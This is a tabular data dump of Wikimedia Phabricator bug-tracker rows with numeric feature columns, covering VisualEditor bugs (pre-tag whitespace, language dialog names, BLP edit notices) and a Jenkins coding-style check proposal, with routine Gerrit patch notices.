This would allow us to validate the complete coding style (especially with regards to whitespace), which right now is mostly enforced by leaving comments in code review and fixup commits pointing to [[mw:CC/JS]].",,,1379461361,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-2mkgo6douokimv6febmw,task_subcomment,,True,c1,3,True,,,11,,0.5,0.0,0.0,1.0,0.5,2.0,1.0,0.0,0.5,1.0,3.0,0.0,0.0,0.0,0.5,1.0,0.0,7.5,10.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,1.0,3.5,0.0,0.0,1.0,0.0,0.0,1.5,0.5,1.0,0.0,0.0,1.0,2.0,1.0,0.0,0.0,0.0,0.0,11.5,1.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.5,0.0,0.0,2.0,3.5,3.5,1.5,1.0,5.0,0.0,0.0,0.0,0.0,2.5,0.5,0.0,0.0,1.0,10.5,3.5,0.0,0.0,0.0,1.0,0.0,2.5,0.5,1.0,4.5,0.0,0.0,3.0,3.830188679245283,0.8207547169811321,"node-jscs would be purely for coding style, not code quality (which is what jshint is primarily for).

Although there are a few minor things that jshint does in the realm of coding style, those are arguably code quality as well (like using of braces in if/else blocks).

This would allow us to validate the complete coding style (especially with regards to whitespace), which right now is mostly enforced by leaving comments in code review and fixup commits pointing to [[mw:CC/JS]]."
241138,Jenkins: Use node-jscs as checkstyle for javascript coding style,Unrelated.,,,1379460821,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-2mkgo6douokimv6febmw,task_subcomment,,True,c1,3,True,,,11,,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,Unrelated.
241130,Jenkins: Use node-jscs as checkstyle for javascript coding style,Is that a replacement for JSHint or unrelated?,,,1379433243,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-2mkgo6douokimv6febmw,task_subcomment,,True,c1,3,True,,,11,,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,22.0,0.0,11.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,Is that a replacement for JSHint or unrelated?
56086,VisualEditor: Language link dialog should show language names and two-letter codes,"e.g. fr -> Français, cy -> Cymraeg

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1379014140,1386791658.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-w7k7v4pcanwqeehqmoyp,task_description,resolved,True,c1,3,True,False,False,10,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,0.6071428571428571,"e.g. fr -> Français, cy -> Cymraeg

--------------------------
**Version**: unspecified
**Severity**: enhancement"
257550,VisualEditor: Language link dialog should show language names and two-letter codes,"Change 98284 merged by jenkins-bot:
Show full language names in the MW language dialog

https://gerrit.wikimedia.org/r/98284",,,1386694855,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-w7k7v4pcanwqeehqmoyp,task_subcomment,,True,c1,3,False,,,23,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,20.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.3,0.95,"Change 98284 merged by jenkins-bot:
Show full language names in the MW language dialog

GERRIT_URL"
257543,VisualEditor: Language link dialog should show language names and two-letter codes,"Change 98284 had a related patch set uploaded by Esanders:
Show full language names in the MW language dialog

https://gerrit.wikimedia.org/r/98284",,,1385827780,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-w7k7v4pcanwqeehqmoyp,task_subcomment,,True,c1,3,False,,,21,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,22.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.521739130434782,0.9565217391304348,"Change 98284 had a related patch set uploaded by Esanders:
Show full language names in the MW language dialog

GERRIT_URL"
56083,VisualEditor: <pre> tags have leading whitespace removed,"Around the time when VE started to support editing of pres we started to get dirty diffs like this:

http://www.mediawiki.org/w/index.php?title=Parsoid&diff=779292&oldid=777387

This might either be a selser issue, or VE dirtying the DOM.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1379007960,1379569694.0,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,False,PHID-TASK-six3hr3num5ryuty64kf,task_description,resolved,True,c1,3,True,False,True,10,,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,9.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,5.0,2.0,15.0,2.0,2.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,9.0,4.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.8,0.7090909090909091,"Around the time when VE started to support editing of pres we started to get dirty diffs like this:

URL

This might either be a selser issue, or VE dirtying the DOM.

--------------------------
**Version**: unspecified
**Severity**: normal"
257426,VisualEditor: <pre> tags have leading whitespace removed,*** Bug 53775 has been marked as a duplicate of this bug. ***,,,1379613849,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-six3hr3num5ryuty64kf,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 53775 has been marked as a duplicate of this bug. ***
257422,VisualEditor: <pre> tags have leading whitespace removed,"Change 84896 merged by Catrope:
Fix check for preformatted when stripping whitespace

https://gerrit.wikimedia.org/r/84896",,,1379545395,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-six3hr3num5ryuty64kf,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,5.375,1.0,"Change 84896 merged by Catrope:
Fix check for preformatted when stripping whitespace

GERRIT_URL"
257417,VisualEditor: <pre> tags have leading whitespace removed,"Change 84896 had a related patch set uploaded by Catrope:
Fix check for preformatted when stripping whitespace

https://gerrit.wikimedia.org/r/84896",,,1379545270,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-six3hr3num5ryuty64kf,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,19.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,5.095238095238095,1.0,"Change 84896 had a related patch set uploaded by Catrope:
Fix check for preformatted when stripping whitespace

GERRIT_URL"
257415,VisualEditor: <pre> tags have leading whitespace removed,"Change 84332 merged by jenkins-bot:
Fix check for preformatted when stripping whitespace

https://gerrit.wikimedia.org/r/84332",,,1379466707,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-six3hr3num5ryuty64kf,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,5.0,1.0,"Change 84332 merged by jenkins-bot:
Fix check for preformatted when stripping whitespace

GERRIT_URL"
257412,VisualEditor: <pre> tags have leading whitespace removed,"Change 84332 had a related patch set uploaded by Esanders:
Fix check for preformatted when stripping whitespace

https://gerrit.wikimedia.org/r/84332",,,1379346257,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-six3hr3num5ryuty64kf,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,19.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,5.142857142857143,1.0,"Change 84332 had a related patch set uploaded by Esanders:
Fix check for preformatted when stripping whitespace

GERRIT_URL"
257407,VisualEditor: <pre> tags have leading whitespace removed,"There's a check tag on the edit, so VE dirtied something somewhere. That may or may not explain the whole bug, but we should fix it.",,,1379008191,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-six3hr3num5ryuty64kf,task_subcomment,,True,c1,3,False,,,10,,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,10.0,3.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,6.0,13.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,3.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.4516129032258065,0.8709677419354839,"There's a check tag on the edit, so VE dirtied something somewhere. That may or may not explain the whole bug, but we should fix it."
56029,VisualEditor: Provide support for BLP edit notices on enwiki,"For BLP's and disambiguation pages on the English Wikipedia, an extra edit notice is provided through the https://en.wikipedia.org/wiki/Wikipedia:EDITINTRO system using Extension:InputBox and some code in MediaWiki:Common.js. VisualEditor does not work with Extension:InputBox, so the edit notice is not displayed. 

This hack is being used in several Wikimedia wikis besides the English Wikipedia:

* https://ja.wikipedia.org/wiki/MediaWiki:Common.js
* https://zh.wikipedia.org/wiki/MediaWiki:Common.js
* https://vi.wikipedia.org/wiki/MediaWiki:Common.js

See also [[https://www.wikidata.org/wiki/Q10566946| Template:BLP editintro (Q10566946)]] and [[https://www.wikidata.org/wiki/Q14400704|  Template:Disambig editintro (Q14400704) ]] for more of the potentially affected wikis.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1378929900,1692749630.0,PHID-USER-uf3buojo4ceizjywvyn5,True,PHID-USER-7x5ai23ne5qampjf3g7r,False,PHID-TASK-4a5risai7mr4y6na4dug,task_description,resolved,True,c1,3,False,False,False,10,,1.0,0.0,0.0,2.0,1.0,3.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.5,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.5,2.0,19.0,0.5,2.0,4.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,5.0,11.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,1.0,0.0,3.0,4.041947115384616,0.6038461538461539,"For BLP's and disambiguation pages on the English Wikipedia, an extra edit notice is provided through the URL system using Extension:InputBox and some code in MediaWiki:Common.js. VisualEditor does not work with Extension:InputBox, so the edit notice is not displayed. 

This hack is being used in several Wikimedia wikis besides the English Wikipedia:

* URL
* URL
* URL

See also [[URL Template:BLP editintro (Q10566946)]] and [[URL  Template:Disambig editintro (Q14400704) ]] for more of the potentially affected wikis.

--------------------------
**Version**: unspecified
**Severity**: normal"
2157339,VisualEditor: Provide support for BLP edit notices on enwiki,"Change 931573 **merged** by jenkins-bot:
%%%[mediawiki/extensions/VisualEditor@master] Support '&editintro=…' etc. on subsequent loads via page tabs%%%
https://gerrit.wikimedia.org/r/931573",,,1689089611,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-4a5risai7mr4y6na4dug,task_subcomment,,True,c1,3,False,,,523,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,5.0,0.0,0.0,8.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.8205128205128207,0.7948717948717948,"Change 931573 **merged** by jenkins-bot:
%%%[mediawiki/extensions/VisualEditor@master] Support '&editintro=…' etc. on subsequent loads via page tabs%%%
GERRIT_URL"
2157338,VisualEditor: Provide support for BLP edit notices on enwiki,"Change 931572 **merged** by jenkins-bot:
%%%[mediawiki/extensions/VisualEditor@master] Support '&editintro=…' etc. on back/forward and VE/NWE switch%%%
https://gerrit.wikimedia.org/r/931572",,,1689089607,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-4a5risai7mr4y6na4dug,task_subcomment,,True,c1,3,False,,,523,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,5.0,0.0,0.0,5.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.5714285714285716,0.7619047619047619,"Change 931572 **merged** by jenkins-bot:
%%%[mediawiki/extensions/VisualEditor@master] Support '&editintro=…' etc. on back/forward and VE/NWE switch%%%
GERRIT_URL"
2146639,VisualEditor: Provide support for BLP edit notices on enwiki,"Change 931571 **merged** by jenkins-bot:
%%%[mediawiki/extensions/VisualEditor@master] Fix '&editintro=…' not working on Vector with some settings%%%
https://gerrit.wikimedia.org/r/931571",,,1687373904,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-4a5risai7mr4y6na4dug,task_subcomment,,True,c1,3,False,,,520,,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,8.0,5.0,0.0,0.0,8.0,8.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,3.8684210526315788,0.7894736842105263,"Change 931571 **merged** by jenkins-bot:
%%%[mediawiki/extensions/VisualEditor@master] Fix '&editintro=…' not working on Vector with some settings%%%
GERRIT_URL"
2145446,VisualEditor: Provide support for BLP edit notices on enwiki,"Thank you @Ryasmeen, I figured out why that was happening. It was only broken when using single edit tab mode, and I didn't think to test that before.

I also fixed the other issue, so after these changes, the message should appear after the editor is opened again as well.",,,1687256236,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-4a5risai7mr4y6na4dug,task_subcomment,,True,c1,3,True,,,520,,0.0,0.0,0.0,3.0,2.0,3.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,5.0,0.0,16.0,10.0,0.0,2.0,2.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,9.0,7.0,2.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.913793103448276,0.7931034482758621,"Thank youSCREEN_NAME, I figured out why that was happening. It was only broken when using single edit tab mode, and I didn't think to test that before.

I also fixed the other issue, so after these changes, the message should appear after the editor is opened again as well."
2145444,VisualEditor: Provide support for BLP edit notices on enwiki,"Change 931573 had a related patch set uploaded (by Bartosz Dziewoński; author: Bartosz Dziewoński):
%%%[mediawiki/extensions/VisualEditor@master] Support '&editintro=…' etc. on subsequent loads via page tabs%%%
https://gerrit.wikimedia.org/r/931573",,,1687256107,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-4a5risai7mr4y6na4dug,task_subcomment,,True,c1,3,False,,,520,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,18.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,7.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,9.0,4.4222222222222225,0.8444444444444444,"Change 931573 had a related patch set uploaded (by Bartosz Dziewoński; author: Bartosz Dziewoński):
%%%[mediawiki/extensions/VisualEditor@master] Support '&editintro=…' etc. on subsequent loads via page tabs%%%
GERRIT_URL"
2145443,VisualEditor: Provide support for BLP edit notices on enwiki,"Change 931572 had a related patch set uploaded (by Bartosz Dziewoński; author: Bartosz Dziewoński):
%%%[mediawiki/extensions/VisualEditor@master] Support '&editintro=…' etc. on back/forward and VE/NWE switch%%%
https://gerrit.wikimedia.org/r/931572",,,1687256105,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-4a5risai7mr4y6na4dug,task_subcomment,,True,c1,3,False,,,520,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,21.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,0.0,0.0,4.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,8.0,4.166666666666667,0.8125,"Change 931572 had a related patch set uploaded (by Bartosz Dziewoński; author: Bartosz Dziewoński):
%%%[mediawiki/extensions/VisualEditor@master] Support '&editintro=…' etc. on back/forward and VE/NWE switch%%%
GERRIT_URL"
2145442,VisualEditor: Provide support for BLP edit notices on enwiki,"Change 931571 had a related patch set uploaded (by Bartosz Dziewoński; author: Bartosz Dziewoński):
%%%[mediawiki/extensions/VisualEditor@master] Fix '&editintro=…' not working on Vector with some settings%%%
https://gerrit.wikimedia.org/r/931571",,,1687256103,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-4a5risai7mr4y6na4dug,task_subcomment,,True,c1,3,False,,,520,,2.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,20.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,0.0,0.0,7.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,5.0,4.4772727272727275,0.8409090909090909,"Change 931571 had a related patch set uploaded (by Bartosz Dziewoński; author: Bartosz Dziewoński):
%%%[mediawiki/extensions/VisualEditor@master] Fix '&editintro=…' not working on Vector with some settings%%%
GERRIT_URL"
2140953,VisualEditor: Provide support for BLP edit notices on enwiki,"It seems the edit intro message is appearing only when you load the page following the link that has the 'editintro' url parameter. But, it's still not showing the edit notice when you click on the 'Edit' button directly on the same page which I think what the new patch was for? 


>>! In T56029#8889645, @gerritbot wrote:
> Change 923769 **merged** by jenkins-bot:
> %%%[mediawiki/extensions/VisualEditor@master] DesktopArticleTarget.init: Support '&editintro=…' in edit links%%%
> https://gerrit.wikimedia.org/r/923769

Here is the screen capture of the issue. Also, it seems the URL on the address bar is different from what it shows when you hover over the Edit link:
{F37101586}

This is different from the special case @matmarex mentioned here:

>>! In T56029#8890073, @matmarex wrote:
> This should make the edit intros work.
> 
> There's one known issue: the edit intro message only appears the first time the editor is opened after loading/refreshing the page. (Afterwards editor initialization is done differently, and adding this feature without messing up the browser back/forward navigation proved difficult.) We should probably file a separate task about this.

",,,1686587044,,PHID-USER-24djtv3gj5gua2y6u2g5,True,,,PHID-TASK-4a5risai7mr4y6na4dug,task_subcomment,,True,c1,3,False,,,519,,0.0,0.0,0.0,0.0,0.5,3.5,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.5,0.0,0.5,0.0,6.0,5.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,8.5,2.5,2.5,1.0,2.0,1.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.0,15.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.5,2.0,9.0,3.5,13.0,2.0,0.5,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.5,6.0,0.5,2.0,0.0,5.0,0.0,4.0,0.0,0.0,1.5,0.0,0.0,0.0,3.7698412698412698,0.6825396825396826,"It seems the edit intro message is appearing only when you load the page following the link that has the 'editintro' url parameter. But, it's still not showing the edit notice when you click on the 'Edit' button 